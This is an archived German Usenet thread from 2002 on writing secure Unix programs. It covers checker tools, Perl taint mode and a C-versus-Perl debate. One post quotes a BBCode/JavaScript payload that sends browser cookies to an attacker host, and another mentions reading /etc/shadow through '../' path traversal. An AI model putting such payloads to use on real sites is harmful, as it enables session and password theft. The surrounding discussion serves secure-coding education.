Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

Sichere Programme schreiben?

6 views
Skip to first unread message

Torsten Mohr

unread,
Aug 15, 2002, 5:12:33 PM8/15/02
to
Hallo,

wenn ich für Unix sichere Programme schreiben will (wenig Bugs,
keine Sicherheitslücken (keine gibts wahrscheinlich nicht...)),
was für Möglichkeiten hab ich denn da?

Ich verwende z.B. "splint" (www.lclint.org), was gibt es denn
sonst so, einerseits an Checkern, andererseits an zugelinkten
Bibliotheken (z.B. für Speicherverwaltung) oder einfach an
Sammlungen von Tipps oder Beispielen?

Z.B. möchte ich den Zugriff über Grenzen eines Arrays hinaus
verhindern oder einen Stack-Überlauf unmöglich machen...


Hat da jemand Tipps?


Grüsse,
Torsten.

Immo 'FaUl' Wehrenberg

unread,
Aug 15, 2002, 5:58:17 PM8/15/02
to
begin followup to the posting of Torsten Mohr

> wenn ich für Unix sichere Programme schreiben will (wenig Bugs,
> keine Sicherheitslücken (keine gibts wahrscheinlich nicht...)),
> was für Möglichkeiten hab ich denn da?

Konzentration.

FaUl
end
This article does not support incompatible and broken newsreaders.
--
Looking for : Female with E10k
[telnet blinkenlights.nl]

Torsten Mohr

unread,
Aug 15, 2002, 6:24:37 PM8/15/02
to
Hallo,

>
> Konzentration.

ja, das ist sicherlich richtig. Danke für den Tipp.


Grüsse,
Torsten.

Martin Dickopp

unread,
Aug 15, 2002, 6:26:00 PM8/15/02
to
Torsten Mohr <tm...@s.netic.de> wrote:
> wenn ich für Unix sichere Programme schreiben will (wenig Bugs,
> keine Sicherheitslücken (keine gibts wahrscheinlich nicht...)),
> was für Möglichkeiten hab ich denn da?
>
> Ich verwende z.B. "splint" (www.lclint.org), was gibt es denn
> sonst so, einerseits an Checkern, andererseits an zugelinkten
> Bibliotheken (z.B. für Speicherverwaltung) oder einfach an
> Sammlungen von Tipps oder Beispielen?

Eine recht gute Einführung zu dem Thema ist das "Secure Programming
for Linux and Unix HOWTO" <http://www.dwheeler.com/secure-programs/>.

Martin

Christian Kruse

unread,
Aug 15, 2002, 5:33:22 PM8/15/02
to
Hallo,

Torsten Mohr wrote:
> Z.B. möchte ich den Zugriff über Grenzen eines Arrays hinaus
> verhindern oder einen Stack-Überlauf unmöglich machen...

Kennst du schon 'electric fence'? Google mal nach 'electric fence malloc
debugger'. Ich finde im Moment keine Projekt-Seite oder so.

Gruesse,
CK

Gerhard Häring

unread,
Aug 16, 2002, 12:14:31 AM8/16/02
to
Torsten Mohr schrieb in de.comp.os.unix.programming:

> Hallo,
>
> wenn ich für Unix sichere Programme schreiben will (wenig Bugs,
> keine Sicherheitslücken (keine gibts wahrscheinlich nicht...)), was
> für Möglichkeiten hab ich denn da?

Eine Programmiersprache verwenden, die dir das erleichtert.

Gerhard
--
Linux lilith.ghaering.test 2.4.19-xfs #1 SMP Mit Aug 7 20:56:15 CEST 2002 i686
gargamel.ghaering.test FreeBSD 4.6-STABLE #0: Sun Aug 11 05:00:16 CEST 2002

Ralf Wildenhues

unread,
Aug 16, 2002, 2:22:56 AM8/16/02
to

Ist seit valgrind (auf linux/x86) auch ziemlich überholt.

Aber ein dynamischer checker kann natürlich immer nur bugs finden, die
im aktuellen Lauf auftreten. Dafür können die meisten statischen
checker nicht beliebig (genügend) komplizierte Zusammenhänge verstehen.
AFAICS noch nicht genannt wurden rats und flawfinder, mit denen man grob
potentielle Problemstellen suchen kann.

Use brain. And peer review.

Gruß
Ralf

Ulli Horlacher

unread,
Aug 16, 2002, 3:02:59 AM8/16/02
to
Torsten Mohr <tm...@s.netic.de> wrote:

> wenn ich für Unix sichere Programme schreiben will (wenig Bugs,
> keine Sicherheitslücken (keine gibts wahrscheinlich nicht...)),
> was für Möglichkeiten hab ich denn da?

perl -T

Das eliminiert schon mal 99% aller (Security) Designschwaechen von C.


--
-- Ullrich Horlacher, BelWue Coordination ------- mailto:fram...@belwue.de --
Computing Centre University of Stuttgart (RUS) phone: +49 711 685 5868
Allmandring 30, D-70550 Stuttgart, Germany fax: +49 711 678 8363
-- saft://saft.belwue.de/framstag ----------------- http://www.belwue.de/ ----

Rudolf Polzer

unread,
Aug 16, 2002, 3:42:20 AM8/16/02
to
Scripsit illa aut ille Ulli Horlacher <fram...@bofh.BelWue.DE>:

> Torsten Mohr <tm...@s.netic.de> wrote:
> > wenn ich für Unix sichere Programme schreiben will (wenig Bugs,
> > keine Sicherheitslücken (keine gibts wahrscheinlich nicht...)),
> > was für Möglichkeiten hab ich denn da?
>
> perl -T
>
> Das eliminiert schon mal 99% aller (Security) Designschwaechen von C.

Welche bleiben übrig? Dateinamensfehler (User gibt Dateinamen an und
würde gerne mal sehen, was sich so unter ../../../../../../etc/shadow
verbirgt) - das ist ein Fehler, der in Perl extrem leicht zu vermeiden
ist.

--
For the sake of who I am, I am myself. [EoE Part II, translated]

Andreas Volz

unread,
Aug 16, 2002, 4:29:54 AM8/16/02
to
Christian Kruse wrote:

Ich hab Zuhause ein Buch, in welchem das mit dem 'electric fence' recht gut
erklärt ist. Es heißt "Unix/Linux Systemprogrammierung" oder so ähnlich und
ist vom Addison-Wesley Verlag. Ist aber recht teuer...

Gruß
Andreas

Rainer Weikusat

unread,
Aug 16, 2002, 4:37:16 AM8/16/02
to
Ulli Horlacher <fram...@bofh.BelWue.DE> writes:
> Torsten Mohr <tm...@s.netic.de> wrote:
> > wenn ich für Unix sichere Programme schreiben will (wenig Bugs,
> > keine Sicherheitslücken (keine gibts wahrscheinlich nicht...)),
> > was für Möglichkeiten hab ich denn da?
>
> perl -T
>
> Das eliminiert schon mal 99% aller (Security) Designschwaechen von
> C.

... und bekanntlich sind Perl-CGIs in 100% aller Fälle trotz forced
taint checking fehlerfrei und müssen nie wegen 'potentiell
sicherheitsrelevanten' Programmierfehlern ersetzt werden ...

'Das übliche' kurz: Auch bis übermorgen wird niemand ein Programm
geschrieben haben, das einem Menschen das Denken abnimmt und eine
'ordentliche, fabrikmäßige Softwareproduktion' (im Idealfall
vermutlich von sonst unausgebildeten Hausfrauen auf 630-Marks-Basis)
ermöglicht.

Ja, 'computer science' existiert. Nein, nicht in
Deutschland. Wenigstens nicht als ernsthaftes Forschungsgebiet.
Aber das macht nix: Irgendwohin muß man ja mit all diesen
Mathemtikern, Pyhsikern und Elektrotechnikern, die sonst keiner
braucht ...

Rainer Weikusat

unread,
Aug 16, 2002, 4:55:10 AM8/16/02
to
Rainer Weikusat <weik...@students.uni-mainz.de> writes:
> Ulli Horlacher <fram...@bofh.BelWue.DE> writes:
> > Torsten Mohr <tm...@s.netic.de> wrote:
> > > wenn ich für Unix sichere Programme schreiben will (wenig Bugs,
> > > keine Sicherheitslücken (keine gibts wahrscheinlich nicht...)),
> > > was für Möglichkeiten hab ich denn da?
> >
> > perl -T
> >
> > Das eliminiert schon mal 99% aller (Security) Designschwaechen von
> > C.

[...]

> Ja, 'computer science' existiert. Nein, nicht in
> Deutschland. Wenigstens nicht als ernsthaftes Forschungsgebiet.

Vgl auch:

<URL:http://www.tldp.org/HOWTO/Secure-Programs-HOWTO/follow-good-principles.html>

inhaltlich mit dem 'Es liegt an C! Bestimmt!!'-Mantra. Oder damit:

<URL:http://univis.uni-mainz.de/form?__s=2&dsc=direct/view&dirclass=fachbe_4/inform&sem=2002w&tfak=fachbe_4&anonymous=1&__e=915>

Einschließlich 'Komplexitätstheorie' werden hier Mathematiker dritter
Klasse ausgebildet, die nebenher ein bißchen über 'Webdesign', 'Java'
und 'imperative Programiersprachen' hören. 'Was halt gerade so in Mode
ist' ...

Rudolf Polzer

unread,
Aug 16, 2002, 5:53:16 AM8/16/02
to
Scripsit illa aut ille Rainer Weikusat <weik...@students.uni-mainz.de>:

> Ulli Horlacher <fram...@bofh.BelWue.DE> writes:
> > Torsten Mohr <tm...@s.netic.de> wrote:
> > > wenn ich für Unix sichere Programme schreiben will (wenig Bugs,
> > > keine Sicherheitslücken (keine gibts wahrscheinlich nicht...)),
> > > was für Möglichkeiten hab ich denn da?
> >
> > perl -T
> >
> > Das eliminiert schon mal 99% aller (Security) Designschwaechen von
> > C.
>
> ... und bekanntlich sind Perl-CGIs
^^^^

> in 100% aller Fälle trotz forced taint checking fehlerfrei und müssen
> nie wegen 'potentiell sicherheitsrelevanten' Programmierfehlern
> ersetzt werden ...

Die dann auftretenden Fehler liegen größtenteils daran, dass das Skript
nicht wirksam verhindert, dass man irgendwelche Designfehler von
irgendwelchen "Browsern" ausnutzt, um irgendwelche Daten
auszuspionieren. Beispiel Ikonboard 2.irgendwas und

[img]JavaScript:location.href =
"http://boese.dyndns.org/aetsch-ich-hab-dein-passwort-jetzt-im-access-log?"
+ escape (document.cookie)[/img]

Gut, *die* Deppen gibt es auch noch, die vom User einen Dateinamen
entgegennehmen, diesen per /(.*)/s "untainten" und dann als zweites
Argument von open() verwenden - und dabei noch nicht einmal ein ">"
vorne dransetzen, weil das ja "implizit" schon da sei. Dann gibt es noch
die Deppen, die Pfadnamen blind per m!^[-./0-9a-zA-Z]+$! überprüfen,
weil ihnen nicht auffällt, welche Bedeutung der Verzeichniseintrag
".." hat.

Aber von 100% war ohnehin nie die Rede.

--
begin if-attachment--newsreader-broken.txt
L0VAA;F=E('EO=7(@8G)O:V5N*VEN8V]M<&%T:6)L92!N97=S<F5A9&5R7"$`
`
end

Johannes Moeckel

unread,
Aug 16, 2002, 6:01:37 AM8/16/02
to
Gerhard Häring <gerhard...@gmx.de> tippte:

>> wenn ich für Unix sichere Programme schreiben will (wenig Bugs,

> Eine Programmiersprache verwenden, die dir das erleichtert.

Also maschinennah, damit man nachvollziehen kann was passiert.
C würde ich dafür halten.

Joe

Rainer Weikusat

unread,
Aug 16, 2002, 7:20:47 AM8/16/02
to
Rudolf Polzer <AntiATFiel...@durchnull.de> writes:
> Scripsit illa aut ille Rainer Weikusat <weik...@students.uni-mainz.de>:
> > Ulli Horlacher <fram...@bofh.BelWue.DE> writes:
> > > perl -T
> > >
> > > Das eliminiert schon mal 99% aller (Security) Designschwaechen von
> > > C.
> >
> > ... und bekanntlich sind Perl-CGIs
> ^^^^
> > in 100% aller Fälle trotz forced taint checking fehlerfrei und müssen
> > nie wegen 'potentiell sicherheitsrelevanten' Programmierfehlern
> > ersetzt werden ...
>
> Die dann auftretenden Fehler liegen größtenteils daran,

Fehler 'treten nicht auf' sondern werden samt und sonders manuell
entwickelt. Insbesondere in C kann es lächerlich einfach sein, relativ
kleine sichere Programme zu schreiben, weil man die komplette
Laufzeitumgebung kontrolliert und zweifelhafte Bibliotheksroutinen
(stdio) unkompliziert umgehen kann.

Falls ich ein 'Benutzername/ Paßwort'-Paar annehmen möchte, ist sowas
zB

static content_len_t get_request_len(void)
{
char const *env;
content_len_t len = 0;

env = getenv(CGI_LEN);
if (env) len = strtoul(env, NULL, 10);

if (len > CONTENT_MAX) die("get_len: Content length too big");
if (!len) die("get_len: No content");

return len;
}

[...]

static content_len_t read_cgi_input(char *buf)
{
content_len_t request_len;
ssize_t rc;

basic_sanity_checks();
request_len = get_request_len();

rc = read(STDIN_FILENO, buf, request_len);
if (rc == -1) die("read_cgi: read: %m");
if (rc < request_len) die("read_cgi: Short read");

return request_len;
}

vollkommen akzeptabel. Falls man potentiell (Text-)Daten unbestimmter
Länge verarbeiten muß, bietet es sich an, tokenizer zu implementieren,
anstatt über stdio-Fummelkonstruktionen 'Zeilen' zu lesen. Es ist fast
immer sinnvoll, Speichermanagment nicht 'ad hoc' zu betreiben, sondern
in einer entsprechenden Abstraktion dynamisch wachsende Puffer zu
benutzen. Man verwendet keine vorzeichenbehafteten Typen, außer als
Flags (dh der numerische Wert ist egal) oder falls man spezifisch
Vorzeichen benötigt. Man benutzt definierte Schnittstellen anstelle
implizit gemeinsamer Zustände etc.

Das geht an der 'Problematik' allerdings IMO eigentlich vorbei: Wenn
man von externen Gotchas absieht (system & friends als simples
Beispiel) besteht eine 1:1 korrespondenz von 'Sicherheitsproblem' und
'Programmierfehler' und am einfachsten findet man die durch
aufmerksames Lesen des Quellcodes. Schwierig wird das nur dadurch, das
'Quellcode' von anderen Leuten häufig konzeptuell als
'Handlungsanweisungen für eine Maschine' strukturiert wird (die keine
Fehler 'aus Versehen' macht) und nicht unter dem Aspekt, das er eine
dem menschlichen Verständnis entgegenkommende interne Struktur hat
(Absätze, Überschriften, Gliederung nach semantischer
Zusammengehörigkeit). OO ist da sehr hilfreich: Man nimmt einen
höheren konstanten Overhead in Kauf und bekommt im Gegenzug eine
nachvollziehbare Abbildung des eigentlichen Problems anstelle einer
Handlungsanweisung zu dessen Lösung.

Problem: Das ist alles traditioniell 'Geisteswissenschaftliches'.
Tatsächlich gibt es Übungen spezifisch zu 'wie gliedere ich einen
Text sinnvoll' (und ein Programm ist auch ein Text) zB
selbstverständlich in der Germanistik oder Komparatistik, aber
normalerweise nicht in den sogenannten 'Naturwissenschaften' (die
wiederum definiert sind als 'basiert auf mathematischer Notation'. Es
gibt wenig Gründe, warum zB 'Linguistik' keine Naturwissenschaft ist,
außer das da ja niemand rumrechnet, also, nach konventionellem Vorurteil,
'niemand logisch denken kann').

Rudolf Polzer

unread,
Aug 16, 2002, 7:22:16 AM8/16/02
to
Scripsit illa aut ille Johannes Moeckel <j...@hrz.tu-darmstadt.de>:

Also, das Kriterium hätte ich gerne mal belegt. Mit Zahlen. Zähle mal
die mit Sicherheitslücken behafteten Programme in C, dividiere diese
Anzahl durch die Gesamtanzahl an Programmen. Mache nun dasselbe mit
Perl.

Übrigens kann man auch bei C++ noch einwandfrei nachvollziehen, was
passiert (wenn man weiß, was eine VMT ist).

--
Da steh ich nun, ich armer Tor!
und bin so klug als wie zuvor;

Ulli Horlacher

unread,
Aug 16, 2002, 7:51:41 AM8/16/02
to
Rainer Weikusat <weik...@students.uni-mainz.de> wrote:

>> perl -T
>>
>> Das eliminiert schon mal 99% aller (Security) Designschwaechen von
>> C.
>
> ... und bekanntlich sind Perl-CGIs in 100% aller Fälle trotz forced
> taint checking fehlerfrei und müssen nie wegen 'potentiell
> sicherheitsrelevanten' Programmierfehlern ersetzt werden ...

Das sind dann in der Regel Designschwaechen des Programmierers. Die waeren
bei einer Realisierung in C dann auch vorhanden. Zusaetzlich.

Man beachte, ich habe NICHT geschrieben:
"Programmieren in Perl eliminiert 99% aller Securitybugs."

Ulli Horlacher

unread,
Aug 16, 2002, 7:56:00 AM8/16/02
to
Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:

>> perl -T
>>
>> Das eliminiert schon mal 99% aller (Security) Designschwaechen von C.
>
> Welche bleiben übrig?

DoS, suid-Bugs, race conditions vor allem mit TMP-files, Code mit eval().
Das sind aber fast alles mehr Designschwaechen von UNIX. Unter VMS
existieren diese Probleme zB nicht.

Sicheren Code mit C zu realisieren ist extrem schwierig, mit Perl nur
schwierig.

Johannes Moeckel

unread,
Aug 16, 2002, 8:19:13 AM8/16/02
to
Rudolf Polzer <AntiATFiel...@durchnull.de> tippte:

>> Also maschinennah, damit man nachvollziehen kann was passiert.
>> C würde ich dafür halten.

> Also, das Kriterium hätte ich gerne mal belegt. Mit Zahlen.

Ich auch ;-)

> die mit Sicherheitslücken behafteten Programme in C, dividiere diese
> Anzahl durch die Gesamtanzahl an Programmen. Mache nun dasselbe mit
> Perl.

Das ist eher die Antwort auf die Frage, wie es in der Realität
aussieht.

Meine Antwort bezieht sich auf die These, ob man denn
(funktionierendes Denken vorausgesetzt) durch Verwendung
maschinennaher Sprachen nicht eher ein Programm "sicher"
bekommen kann als bei einer Sprache, bei der man nicht mehr
weiss, was im Hintergrund abläuft. Gut, ich kann mir die
Perl Sourcen anschauen...
Bei C kann ich mir aber besser vorstellen, was auf dem
Prozessor und im Speicher passiert.

Joe

Rudolf Polzer

unread,
Aug 16, 2002, 8:35:00 AM8/16/02
to
Scripsit illa aut ille Ulli Horlacher <fram...@bofh.BelWue.DE>:
> Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
>
> >> perl -T
> >>
> >> Das eliminiert schon mal 99% aller (Security) Designschwaechen von C.
> >
> > Welche bleiben übrig?
>
> DoS,

Das ist eher ein Fehler unabhängig von der Programmiersprache, sondern
hat alleine damit zu tun, dass der Request CPU-Zeit kostet. Aber Perl
hat hier durchaus einen Nachteil gegenüber C, was die Startup-Zeit eines
Programmes betrifft.

Und Endlosschleifen kann man auch schon auf Turingmaschinen
implementieren...

> suid-Bugs,

Dazu müsste das Programm erst einmal suid sein.

> race conditions vor allem mit TMP-files,

Programmierfehler, haben nichts mit dem Design der Sprache zu tun. Zudem
in Perl durch ein geeignetes bereits existierendes Modul vermeidbar.

> Code mit eval().

Du meinst eval""? Wozu braucht man das? Ich kenne genau eine Anwendung
davon, und die habe ich in Detect::Module verpackt. eval{} ist
ungefährlich.

> Das sind aber fast alles mehr Designschwaechen von UNIX. Unter VMS
> existieren diese Probleme zB nicht.

Wieso nicht? DoS ist nicht vermeidbar. eval"" hat mit dem Betriebssystem
genau gar nichts zu tun. Wie verhindert VMS race conditions?

> Sicheren Code mit C zu realisieren ist extrem schwierig, mit Perl nur
> schwierig.

So gesehen ist es mit keiner turingmächtigen Sprache, die auch
Dateizugriffe und Ausführen von externen Programmen erlaubt,
einfach.

--
Du bist nicht hier, um mit deinem Freund/Freundin in der Ecke zu kuscheln,
sondern Du bist in einer technischen NG. Zum Sex geh ich ins Bett oder auf die
Waschmaschine, je nachdem, auf was ich/sie gerade Bock hat, aber nicht in
eine NG \scnr (Steffen Lorch in de.soc.recht.datennetze)

Rudolf Polzer

unread,
Aug 16, 2002, 8:50:02 AM8/16/02
to
Scripsit illa aut ille Johannes Moeckel <j...@hrz.tu-darmstadt.de>:
> Rudolf Polzer <AntiATFiel...@durchnull.de> tippte:
> >> Also maschinennah, damit man nachvollziehen kann was passiert.
> >> C würde ich dafür halten.
>
> > Also, das Kriterium hätte ich gerne mal belegt. Mit Zahlen.
>
> Ich auch ;-)
>
> > die mit Sicherheitslücken behafteten Programme in C, dividiere diese
> > Anzahl durch die Gesamtanzahl an Programmen. Mache nun dasselbe mit
> > Perl.
>
> Das ist eher die Antwort auf die Frage, wie es in der Realität
> aussieht.
>
> Meine Antwort bezieht sich auf die These, ob man denn
> (funktionierendes Denken vorausgesetzt) durch Verwendung
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Genau das fehlt bei der Art "Mensch". Würde das Denken des Menschen
einwandfrei funktionieren, würde er niemals ein malloc() mit einer um
eins zu kleinen Byteanzahl aufrufen - er würde auch nie einen Puffer
festgelegter Größe anlegen, und dann aber nicht sicher stellen, dass
die Größe nicht überschritten wird.

> maschinennaher Sprachen nicht eher ein Programm "sicher"
> bekommen kann als bei einer Sprache, bei der man nicht mehr
> weiss, was im Hintergrund abläuft.

Musst du nicht, es hilft noch nicht einmal. Wichtig ist eher, dass man
das Programm, wenn es sein muss, verifizieren kann. Und das in möglichst
kleinen Abschnitten - und genau dafür hat man Funktionen. Auch Prolog
ist verifizierbar, obwohl alles andere als maschinennah.

> Gut, ich kann mir die Perl Sourcen anschauen... Bei C kann ich mir
> aber besser vorstellen, was auf dem Prozessor und im Speicher
> passiert.

Bei C++ immer noch genausogut. Trotzdem werden die häufigsten
C-Sicherheitslücken durch Containerklassen und vor allem "echte" Strings
vermieden.

--
Koroshiteyaru. Koroshiteyaru. Koroshiteyaru. Koroshiteyaru...
[Asuka in Neon Genesis Evangelion - english: "I'll kill you"]

Immo 'FaUl' Wehrenberg

unread,
Aug 16, 2002, 9:09:11 AM8/16/02
to
begin followup to the posting of Johannes Moeckel

Mh. die Diskussion hatten wir in dcsm auch schon mal (Rudolf wird sich
erinnern...). Ich persoenlich wuerde wirklich sicherheitsrelevantes lieber
einem C-Compiler anvertrauen als einer eierlegenen Wollmilchsau wie Perl.

Man hat einfach eine kleinere Change auf einen Implementationsfehler
in irgendwelchen Librarys zu stossen. Allerdings setzt das voraus das man
Fehlerfreien Sourcecode schreibt und dazu braucht es nichts als Konzentration
und ein Grundwissen. Ich habe aber keine lust das jetzt noch mal durchzukauen,
wer will kann sich den Thread in dcsm durchlesen.

FaUl
end
This article does not support incompatible and broken newsreaders.
--

"Gestern fragte mich jemand, warum er sein Java-Programm nicht kompilieren
konnte. Und ich sagte: "RTFM"
Der Besagte tat, wie ihm geheissen und tippte brav: "javac -rtfm ...."
Seitdem bin ich vorsichtig geworden, RTFM zu empfehlen...." - Detlef Bosau

Rainer Weikusat

unread,
Aug 16, 2002, 12:28:02 PM8/16/02
to
Ulli Horlacher <fram...@bofh.BelWue.DE> writes:

> Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
> >> Das eliminiert schon mal 99% aller (Security) Designschwaechen von C.
> >
> > Welche bleiben übrig?
>
> Sicheren Code mit C zu realisieren ist extrem schwierig, mit Perl nur
> schwierig.

Annahme: Die 'Sicherheit' von Perl wurde bewiesen. Keine weiteren
Fragen ...

Ansonsten habe ich hier ein paar Säcke voll CGIs in diversen Sprachen,
die alle eine protection boundary realisieren und die Aussage ist
schlicht falsch. Umgekehrt wird ein Schuh draus: Es ist sehr einfach,
C Programme mit 'interessanten undokmentierten Features' zu schreiben,
während Perl sich etwas mehr Mühe gibt, seine Benutzer wegen pauschal
unterstellter Dummheit zu gängeln. 'In der Praxis' sieht das dann so
aus:

/* garbage we don't want to pass to work layer */
environ = NULL;
close(STDOUT_FILENO);
close(STDERR_FILENO);

[...]

/* become root to stop Perl from crying */
setuid(0);
setgid(0);

denn die andernfalls zu bewundernde 'Unsafe $ENV{PATH}'-Meldung ist
hier aus offensichtlichen Gründen 'eher sinnlos'.

Rainer Weikusat

unread,
Aug 16, 2002, 12:41:24 PM8/16/02
to
Ulli Horlacher <fram...@bofh.BelWue.DE> writes:
> Rainer Weikusat <weik...@students.uni-mainz.de> wrote:

['Sicherheit' Perl - C ]

> Das sind dann in der Regel Designschwaechen des Programmierers. Die
> waeren bei einer Realisierung in C dann auch vorhanden. Zusaetzlich.

Cool. Du hast soeben den 'sprachimmanenten Grammatikfehler'
propagiert. Bloß kann ich mir im Moment nicht vorstellen, was das sein
sollte...

Ulli Horlacher

unread,
Aug 16, 2002, 7:20:41 PM8/16/02
to
Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:

>> >> Das eliminiert schon mal 99% aller (Security) Designschwaechen von C.
>> >
>> > Welche bleiben übrig?
>>
>> DoS,
>
> Das ist eher ein Fehler unabhängig von der Programmiersprache, sondern
> hat alleine damit zu tun, dass der Request CPU-Zeit kostet.

Es gibt noch andere Ressourcen als CPU-Zeit.


>> suid-Bugs,
>
> Dazu müsste das Programm erst einmal suid sein.

Man kann Perl suid machen. Fruehere Perl Versionen kamen standardmaessig
damit. Und eben weil es immer wieder (neue) Security-Bugs damit gab wird
suid-Perl nicht mehr offiziell unterstuetzt.

>> race conditions vor allem mit TMP-files,
>
> Programmierfehler, haben nichts mit dem Design der Sprache zu tun. Zudem
> in Perl durch ein geeignetes bereits existierendes Modul vermeidbar.

Man koennte so was aber durch geeignetes Design der Sprache eliminieren.
Und genau darum gings: "Welche bleiben uebrig?"


>> Code mit eval().
>
> Du meinst eval""? Wozu braucht man das?

Diese Frage ist irrelevant. Es WIRD benutzt und umgeht somit den
tainted-Modus und ist damit ein Security-Problem.


>> Das sind aber fast alles mehr Designschwaechen von UNIX. Unter VMS
>> existieren diese Probleme zB nicht.
>
> Wieso nicht? DoS ist nicht vermeidbar.

Es ist vermeidbar unter VMS.


> Wie verhindert VMS race conditions?

Bei TMP-Files dadurch dass es kein shared TMP Bereich gibt. Dass unter
UNIX praktisch jedes Programm nach /tmp schreiben will und kann
verursachte bestimmt 20% aller CERT Meldungen der letzten Zeit (die UNIX
betreffen).

>> Sicheren Code mit C zu realisieren ist extrem schwierig, mit Perl nur
>> schwierig.
>
> So gesehen ist es mit keiner turingmächtigen Sprache, die auch
> Dateizugriffe und Ausführen von externen Programmen erlaubt,
> einfach.

Das hab ich auch nie behauptet :-)

Man muss sich aber nicht noch absichtlich das Leben schwer machen und C
dazu benutzen.

Immo 'FaUl' Wehrenberg

unread,
Aug 16, 2002, 7:44:22 PM8/16/02
to
begin followup to the posting of Ulli Horlacher

>>> Das sind aber fast alles mehr Designschwaechen von UNIX. Unter VMS
>>> existieren diese Probleme zB nicht.
>> Wieso nicht? DoS ist nicht vermeidbar.
> Es ist vermeidbar unter VMS.

--verbose --debug

FaUl
end
This article does not support incompatible and broken newsreaders.
--

Das System laeuft jetzt schon seit ueber 6 Stunden
ohne Absturz, hier stimmt doch was nicht!

[Neustart] [Runterfahren] [C: formatieren]

Rudolf Polzer

unread,
Aug 17, 2002, 4:35:29 AM8/17/02
to
Scripsit illa aut ille Ulli Horlacher <fram...@bofh.BelWue.DE>:
> Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
>
> >> >> Das eliminiert schon mal 99% aller (Security) Designschwaechen von C.
> >> >
> >> > Welche bleiben übrig?
> >>
> >> DoS,
> >
> > Das ist eher ein Fehler unabhängig von der Programmiersprache, sondern
> > hat alleine damit zu tun, dass der Request CPU-Zeit kostet.
>
> Es gibt noch andere Ressourcen als CPU-Zeit.

Diese anderen Resourcen haben nichts, aber auch gar nichts mit der
Programmiersprache zu tun.

> >> race conditions vor allem mit TMP-files,
> >
> > Programmierfehler, haben nichts mit dem Design der Sprache zu tun. Zudem
> > in Perl durch ein geeignetes bereits existierendes Modul vermeidbar.
>
> Man koennte so was aber durch geeignetes Design der Sprache eliminieren.

Ich sehe nicht, wie eine Sprache das verhindern kann. Das *System* ist
daran schuld, dass man mit sowas überhaupt arbeiten muss!

> >> Code mit eval().
> >
> > Du meinst eval""? Wozu braucht man das?
>
> Diese Frage ist irrelevant. Es WIRD benutzt und umgeht somit den
> tainted-Modus und ist damit ein Security-Problem.

1. eval"" umgeht *nicht* den tainted-Modus:

| rpolzer@www42:~$ perl -Te 'eval <STDIN>'
| print 1;
| Insecure dependency in eval while running with -T switch at -e line 1, <STDIN> line 1.

2. eval"" *ist* trotzdem ein Securityproblem, weil es oft falsch verwendet
wird, und ich frage mich ernsthaft, wieso es nach wie vor in Perl
enthalten ist. Den einzigen Sinn von eval"" könnte man durch eine
kleine Änderung der Sprache beseite räumen, indem man nämlich ein
sinnvolles Interface zum Laden von Perlmodulen zur Laufzeit anbietet.

> >> Das sind aber fast alles mehr Designschwaechen von UNIX. Unter VMS
> >> existieren diese Probleme zB nicht.
> >
> > Wieso nicht? DoS ist nicht vermeidbar.
>
> Es ist vermeidbar unter VMS.

Wie?

> > Wie verhindert VMS race conditions?
>
> Bei TMP-Files dadurch dass es kein shared TMP Bereich gibt. Dass unter
> UNIX praktisch jedes Programm nach /tmp schreiben will und kann
> verursachte bestimmt 20% aller CERT Meldungen der letzten Zeit (die UNIX
> betreffen).

Woher bekommt ein Programm unter VMS dann die Möglichkeit, seinen
temporären Datenmüll so abzulegen, dass es andere Programme starten
kann, die diesen Müll nutzen?

--
Shinu no wa iya. Shinu no wa iya. Shinu no wa iya. Shinu no wa iya.
[Asuka in Neon Genesis Evangelion - english: "I don't want to die",

Ulli Horlacher

unread,
Aug 17, 2002, 5:14:20 AM8/17/02
to
Immo 'FaUl' Wehrenberg <im...@faul.dyndns.org> wrote:

>>> Wieso nicht? DoS ist nicht vermeidbar.
>> Es ist vermeidbar unter VMS.
>
> --verbose --debug

help privileges
help security
help restriced

Rainer Weikusat

unread,
Aug 17, 2002, 7:11:00 AM8/17/02
to
Ulli Horlacher <fram...@bofh.BelWue.DE> writes:
> >> race conditions vor allem mit TMP-files,
> >
> > Programmierfehler, haben nichts mit dem Design der Sprache zu tun. Zudem
> > in Perl durch ein geeignetes bereits existierendes Modul vermeidbar.
>
> Man koennte so was aber durch geeignetes Design der Sprache
> eliminieren.

Könntest Du micht bitte mal erleuchten, wie man 'Interprozeßraces'
durch 'geeignetetes _Sprach_design' verhindert, insbesondere unter
Berücksichtigung der Tatsache, daß Du 'Implementierung als
Bibliotheksfunktion' (im weiteren Sinne) scheinbar ausschließt?

> > Du meinst eval""? Wozu braucht man das?
>
> Diese Frage ist irrelevant. Es WIRD benutzt und umgeht somit den
> tainted-Modus und ist damit ein Security-Problem.

Der 'tainted'-Modus in Perl trägt nichts dazu bei, irgendjemand dazu
zu bekommen, vernünftig mit Eingabedaten aus einer nicht
vertrauenswürdigen Quelle umzugehen. Tatsächlich (in dclpm beobachtet)
'tainted' Perl 'halt irgendwas' (wovon es in aller Regel nicht weiß,
ob es aus einer vertrauenswürdigen Quelle kommt oder überhaupt
vorganden ist, siehe Beispiel im anderem Posting) und es steht dann
eine 'Einzelfallentscheidung' an, ob das angebliche Problem
tatsächlich existiert, dh ob /(.*)/ ausreicht, oder nicht. Eh presto:
Genau dasselbe Problem wie ohne.

Sogar im anderen Fall ist die Frage angebracht, ob jemand, der
nicht auch ohne taint-checking über Eingabevalidierung nachgedacht hätte,
(das Thema wird in einschlägiger Dokumentation ziemlich
breitgetreten) bloß deswegen, weil er dazu gezwungen wird, eher eine
sinnvolle Lösung für dieses Problem finden wird.

> Es ist vermeidbar unter VMS.
>
> > Wie verhindert VMS race conditions?
>
> Bei TMP-Files dadurch dass es kein shared TMP Bereich gibt. Dass unter
> UNIX praktisch jedes Programm nach /tmp schreiben will und kann
> verursachte bestimmt 20% aller CERT Meldungen der letzten Zeit (die UNIX
> betreffen).

Sehr lustig. Von mehreren Prozeßen benutzbare Dateisystemebereiche
irgendeiner Coleur gibt es aber? Falls ja, verhindert VMS gar nichts.

> > So gesehen ist es mit keiner turingmächtigen Sprache, die auch
> > Dateizugriffe und Ausführen von externen Programmen erlaubt,
> > einfach.
>
> Das hab ich auch nie behauptet :-)
>
> Man muss sich aber nicht noch absichtlich das Leben schwer machen
